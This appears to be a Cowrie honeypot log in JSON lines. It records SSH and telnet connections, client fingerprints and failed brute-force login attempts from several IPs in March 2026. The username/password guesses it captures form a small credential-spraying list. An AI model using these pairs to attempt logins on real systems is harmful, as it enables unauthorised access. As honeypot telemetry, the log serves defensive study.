{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:59:59.780599Z","src_ip":"172.187.200.190","session":"8f2c66881f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoin1","password":"bitcoin12018!","message":"login attempt [bitcoin1/bitcoin12018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:59:59.949991Z","src_ip":"172.187.200.190","session":"8f2c66881f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:00:01.035917Z","src_ip":"172.187.200.190","session":"8f2c66881f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":35554,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadd3132697e","protocol":"ssh","message":"New connection: 131.161.249.165:35554 (159.203.135.109:22) [session: eadd3132697e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:16.535664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:16.540368Z","src_ip":"131.161.249.165","session":"eadd3132697e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:16.667479Z","src_ip":"131.161.249.165","session":"eadd3132697e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patricia","password":"patricia@123456","message":"login attempt [patricia/patricia@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:17.194241Z","src_ip":"131.161.249.165","session":"eadd3132697e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:18.320139Z","src_ip":"131.161.249.165","session":"eadd3132697e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44460,"dst_ip":"10.17.0.5","dst_port":22,"session":"00738e0465f6","protocol":"ssh","message":"New connection: 195.178.110.218:44460 (10.17.0.5:22) [session: 00738e0465f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:37.682577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:37.688413Z","src_ip":"195.178.110.218","session":"00738e0465f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:37.768452Z","src_ip":"195.178.110.218","session":"00738e0465f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:38.008532Z","src_ip":"195.178.110.218","session":"00738e0465f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:01:39.090031Z","src_ip":"195.178.110.218","session":"00738e0465f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":41066,"dst_ip":"159.203.135.109","dst_port":22,"session":"52df8b399b99","protocol":"ssh","message":"New connection: 131.161.249.165:41066 (159.203.135.109:22) [session: 52df8b399b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:03:45.383549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:03:45.386804Z","src_ip":"131.161.249.165","session":"52df8b399b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:03:45.509615Z","src_ip":"131.161.249.165","session":"52df8b399b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rstudio","password":"rstudiorstudio","message":"login attempt [rstudio/rstudiorstudio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:03:46.038770Z","src_ip":"131.161.249.165","session":"52df8b399b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:03:47.165549Z","src_ip":"131.161.249.165","session":"52df8b399b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38664,"dst_ip":"10.17.0.5","dst_port":22,"session":"775282d534a4","protocol":"ssh","message":"New connection: 195.178.110.218:38664 (10.17.0.5:22) [session: 775282d534a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:18.602765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:18.607405Z","src_ip":"195.178.110.218","session":"775282d534a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:18.687165Z","src_ip":"195.178.110.218","session":"775282d534a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:18.942235Z","src_ip":"195.178.110.218","session":"775282d534a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:20.026888Z","src_ip":"195.178.110.218","session":"775282d534a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.62","src_port":59950,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b8ab046586c","protocol":"ssh","message":"New connection: 213.177.179.62:59950 (159.203.135.109:22) [session: 8b8ab046586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:23.153537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:23.161626Z","src_ip":"213.177.179.62","session":"8b8ab046586c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:24.445415Z","src_ip":"213.177.179.62","session":"8b8ab046586c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:04:33.163388Z","src_ip":"213.177.179.62","session":"8b8ab046586c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":54368,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9f997ed67b","protocol":"ssh","message":"New connection: 131.161.249.165:54368 (159.203.135.109:22) [session: ca9f997ed67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:22.561863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:22.566397Z","src_ip":"131.161.249.165","session":"ca9f997ed67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:22.690559Z","src_ip":"131.161.249.165","session":"ca9f997ed67b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:23.219769Z","src_ip":"131.161.249.165","session":"ca9f997ed67b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:24.345891Z","src_ip":"131.161.249.165","session":"ca9f997ed67b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.97.214.157","src_port":51707,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c62dbc4c7e","protocol":"telnet","message":"New connection: 82.97.214.157:51707 (10.17.0.5:23) [session: 81c62dbc4c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:34.773240Z"}
{"eventid":"cowrie.session.closed","duration":16.379900455474854,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:06:51.153046Z","src_ip":"82.97.214.157","session":"81c62dbc4c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45456,"dst_ip":"10.17.0.5","dst_port":22,"session":"b61e1d70e3cc","protocol":"ssh","message":"New connection: 195.178.110.218:45456 (10.17.0.5:22) [session: b61e1d70e3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:07:09.542831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:07:09.547200Z","src_ip":"195.178.110.218","session":"b61e1d70e3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:07:09.626813Z","src_ip":"195.178.110.218","session":"b61e1d70e3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:07:09.865057Z","src_ip":"195.178.110.218","session":"b61e1d70e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:07:10.946450Z","src_ip":"195.178.110.218","session":"b61e1d70e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":53604,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadafb93fe32","protocol":"ssh","message":"New connection: 64.176.195.200:53604 (159.203.135.109:22) [session: aadafb93fe32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:43.109948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:43.114202Z","src_ip":"64.176.195.200","session":"aadafb93fe32","protocol":"ssh"}
